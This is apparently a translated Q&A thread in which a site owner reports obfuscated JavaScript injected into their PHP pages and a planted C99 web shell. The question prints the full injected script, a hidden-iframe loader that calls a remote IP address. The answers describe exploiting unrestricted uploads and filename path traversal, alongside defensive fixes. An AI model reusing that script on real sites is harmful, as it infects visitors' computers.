Подтвердить что ты не робот

PHP скрипт: код вредоносного JavaScript в конце

Проблема:

В моем веб-пространстве есть файлы PHP, которые заканчиваются на этом:

<?php include 'footer.php'; ?>

Перед этой строкой в ​​файлах также есть HTML-код.

Результат в браузере заканчивается этим, конечно:

</body>
</html>

Но вчера, внезапно, появился какой-то вредоносный код. Результатом моего index.php было:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

Я открыл файл на своем веб-пространстве (загруженный через FTP), и я увидел, что кто-то поставил этот код прямо в файл!

Как это могло произойти?

Единственные способы, которые я могу себе представить:

  • Кто-то получил мой FTP-пароль. Но он не только поместил бы его в один файл. Он мог нанести гораздо больший урон. Поэтому я не могу представить, что это так.
  • У меня есть вирус на моем ПК. Я использую Notepad ++ для редактирования и FileZilla для загрузки. Возможно, эти программы также были заражены, и я загрузил вредоносный код - не зная.
  • Кто-то использовал отверстие безопасности (XSS), чтобы поместить этот код на страницу. Но он не мог вставить это в файл, не так ли?

Симптомы:

Пользователи сообщили о появлении синей панели в Firefox. Он попросил их установить плагин. Теперь некоторые из них имеют Exploit.Java.CVE-2010-0886.a на своем ПК.

Это из-за вредоносного кода? Что сделал код точно?

Можете ли вы мне помочь?

Пожалуйста, помогите мне, я действительно в отчаянии.

Может быть, еще один вопрос, если вы знаете, как я мог его получить: как я мог предотвратить что-то подобное в будущем?

Изменить # 1:

Я нашел файл с именем "x76x09.php" в корневом каталоге моего веб-пространства. Он имеет размер файла 44.281 байт. Я загрузил его и попытался открыть его. Но мое антивирусное программное обеспечение показало, что это троянец (Trojan.Script.224490). Я думаю, что этот файл был выполнен и добавлен вредоносный код в "index.php" в каждом каталоге. Помогает ли это? Как троянец мог попасть в мое веб-пространство? Является ли это известным вирусом?

Изменить # 2:

Мой хост говорит, что теперь он может быть уверен, что файл не был загружен через FTP. Таким образом, заражение не произошло через FTP. По словам моего хостера, это должны быть небезопасные сценарии.

Изменить # 3:

Защитные дыры в соответствии с PHPSecInfo:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • expose_php = 1
  • file_uploads = 1 (виноват ли этот вредоносный файл "x76x09.php"?)
  • group_id = 99
  • user_id = 99

Изменить # 4:

Я проанализировал файл, который был выполнен на моем веб-сервере. Здесь результаты.

Итак, этот вирус, как известно, называется:

  • PHP/C99Shell.BF
  • Backdoor/PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • Trojan.Script.224490
  • Exploit.PHP.635
  • Backdoor.PHP.C99Shell.bf
  • Trojan.Script.224490

Могут ли некоторые из них вызвать вредоносный файл на моем веб-пространстве, который добавил вредоносный код?

4b9b3361

Ответ 1

Я не думаю, что проблема в том, что вы используете общий хост, потому что я нашел шесть других (degmsb, Benvolio, joomla01, DJ-Alien, valerione1979, и Kars), на сайтах которых был добавлен те же script. Кроме того, сомнительно, что любой из ваших файлов будет доступен для записи другими, потому что файлы, загруженные через FTP, подчиняются маскам бит режима создания файла.

Моя лучшая догадка заключается в том, что кто-то взламывает веб-сайты, используя либо известные эксплойты, либо эксплойты против общих недостатков, и что этот человек идентифицирует вероятные цели с помощью взлома Google. degmsb Сайт Wordpress и веб-сайт Benvolio Burning Board Lite, вероятно, были взломаны с помощью известных эксплойтов (возможно, известных эксплойтов плагинов для этих программных баз, таких как TinyMCE), и ваш сайт, так как вы написали его самостоятельно, скорее всего, был взломан через эксплойт против общего веб-сайта слабость.

Учитывая, что вы разрешаете загрузку файлов (один из ваших скриптов PHP принимает и сохраняет файлы, загруженные вашими пользователями), я бы рассмотрел CWE-434: Unrestricted Загрузка файла с опасным типом. Эксплуатация CWE-434 работает следующим образом: предположим, вы разрешаете пользователям загружать изображения аватаров или изображения. script, к которому загруженные изображения отправляются POSTED, может сохранить файл до /images с использованием того же имени файла, которое предоставил пользователь. Теперь представьте, что кто-то загружает x76x09.gif.php (или x76x09.gif.asp, x76x09.gif.php4 и т.д.). Ваш script послушно сохранит эту загрузку до /images/x76x09.gif.php и все, что взломщик должен сделать, чтобы сервер выполнял этот script, просматривает /images/x76x09.gif.php. Даже если файл имеет имя x76x09.php.gif, некоторые веб-серверы будут выполнять файл.

Другая возможность заключается в том, что имя файла загрузки, которое получает PHP, $_FILES['upload']['name'], которое является значением filename в отправленном заголовке Content-Disposition, было построено для чего-то вроде ..\modules\x.gif. Если ваш script сохранил вновь загруженный файл на str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name'])) или /images/../modules/x.gif на хосте, отличном от Windows (http://codepad.org/t83dYZwa), и для пользователя был способ заставить один из ваших PHP-скриптов include или require любой script в каталоге modules (скажем, index.php?module=x.gif&action=blah), тогда взломщик сможет выполнить произвольное PHP.

РЕДАКТИРОВАТЬ: Он выглядит как x76x09.php - это своего рода неограниченный каталог браузера и загрузчик файлов. Если пользователю удастся загрузить его на ваш сервер, они могут в основном делать все, что вы можете сделать с вашим FTP-доступом. Удалите его.

EDIT2: Найдите копии этого источника PHP (часть gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));). Удалите его из всех ваших PHP-скриптов.

EDIT3: Разделы Google для поиска в PHP script, я нашел несколько веб-страниц, где этот источник указан в стенограмме, и все эти страницы имеют какое-то отношение к загрузке файлов для соответствующих сайтов, Поэтому очень вероятно, что хакер вашего сайта использовал эксплойт CWE-434.

Ответ 2

Похоже, что ваш сервер был скомпрометирован, а также вы используете общий хост?

Вы можете узнать конфигурацию безопасности своего сервера:

PhpSecInfo

alt text http://phpsec.org/images/psi_ss2.png

Ответ 3

С кем вы принимаете? Некоторые хостеры имеют утечки безопасности, которые могут быть использованы.

Используете ли вы WordPress? Сообщалось также о числе зарегистрированных вспышек. Лучшее, что нужно сделать, это Google, ища людей с аналогичными проблемами, что также приведет к причине, которая приведет к решению.

Ответ 4

Как показали другие, уязвимость наиболее вероятна в некотором script, который вы используете, может быть, что-то, что вы написали сами, или затем известное приложение с известными уязвимостями. Это может быть уязвимость в upload script, но я хочу указать, что также можно "загружать" файлы через SQL-инъекцию, см. Следующий для более подробной информации

Ответ 5

Мы столкнулись с проблемой, схожей с этим некоторое время назад, с одним из наших основных свойств сети. То, что сказал ваш веб-хост, было правильным: скорее всего это связано с не доступом к FTP, а с небезопасным script, который каким-то образом разрешил модификацию произвольных файлов. В нашем случае уязвимость в старом phpMyAdmin допускает изменение некоторых скриптов PHP.

Если вы еще этого не сделали, вы можете убедиться, что веб-сервер имеет только привилегии чтения для всех скриптов и файлов HTML. Оказывается, Apache также может писать сценарии в нашем случае. Просто

cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755

Ответ 6

Я бы предложил изменить любой пароль FTP или SSH, чтобы быть очень безопасным. Если вы используете хостинг-провайдера, вы также должны уведомить об этом нарушение. Если у вас нет журналов для расследования этого вопроса, они могут. Вы также должны указать код Google, который был добавлен на вашу страницу, чтобы узнать, можете ли вы найти что-нибудь еще.

Ответ 7

phsource является самым близким.

Если вы находитесь на общем сервере, другие люди имеют доступ к самому серверу. Это своего рода определение общего сервера. Проблема в том, что если у вас есть файлы с разрешениями 777, они доступны для записи в мире. Это означает, что любой, кто имеет доступ к коробке, может писать им. См. Проблему?

Все, что требуется, - это one человек в этом поле, чтобы иметь слабый пароль, плохо сконфигурированный script или ужасный бит кода, а посредственный script kiddie может вызывать все виды проблемы по всей коробке. Большинство из этих атак чисто автоматизированы. Они получают доступ, просматривают файлы, пригодные для атаки, и при необходимости добавляются.

Скорее всего, вы должны изменить все свои файлы на 755 или 644 разрешения. Вы лучше спать ночью.

И после того, как вы это сделаете, убедитесь, что Google не помечен вами как вредоносный сайт. Это не ужасно, чтобы очистить, но это может сократить ваш трафик тем временем.

Ответ 8

Если вы написали уязвимое веб-приложение самостоятельно, то у вас уже начался процесс определения того, где можно найти большинство точек доступа, которые могут быть использованы. К сожалению, это может быть недостаточно хорошим (писать и поддерживать защищенные веб-приложения сложнее, чем думают многие люди).

Если вы не пишете приложение самостоятельно, или если вы повторно используете большие, сложные компоненты, которые кто-то написал, или вам просто нужна помощь в получении информации о безопасности веб-сайта, тогда есть коммерческие услуги, которые могут сканируйте свой сайт и попытайтесь выяснить, где они уязвимы, например:

http://www.qualys.com/products/qg_suite/was/

Эти услуги стоят денег, очевидно, но вы можете получить "бесплатную пробную версию", чтобы узнать, будут ли они полезными. Удачи!

Ответ 9

Если у вас есть статический ip - вы можете запретить ftp-доступ с вашего IP-адреса

Ответ 10

Это случилось со мной некоторое время назад по-разному. Учетная запись работы была скомпрометирована через phpBB с помощью эксплойта кода. Так или иначе, они даже добавили себя в таблицу пользователей mySQL db. Это заставило нас полностью удалить программу и прекратить ее использование.

Старая установка Joomla была уязвимостью, которая позволяла людям делать то, о чем вы говорите, на моем личном сайте. Я забыл, что это было даже там, но этого было достаточно, чтобы открыть им дверь для установки вредоносного кода на нескольких разных сайтах. Я запустил сайт, изменил разрешения, обновил Joomla и очистил файлы.

Мой текущий производственный сервер получает "фальсификацию" для phpMyAdmin более 1000 раз в час во время некоторых попыток взлома. Плохие парни работают сверхурочно!

Внизу, будьте осторожны с открытым исходным кодом, и если вы его используете, обновите, обновите, обновите.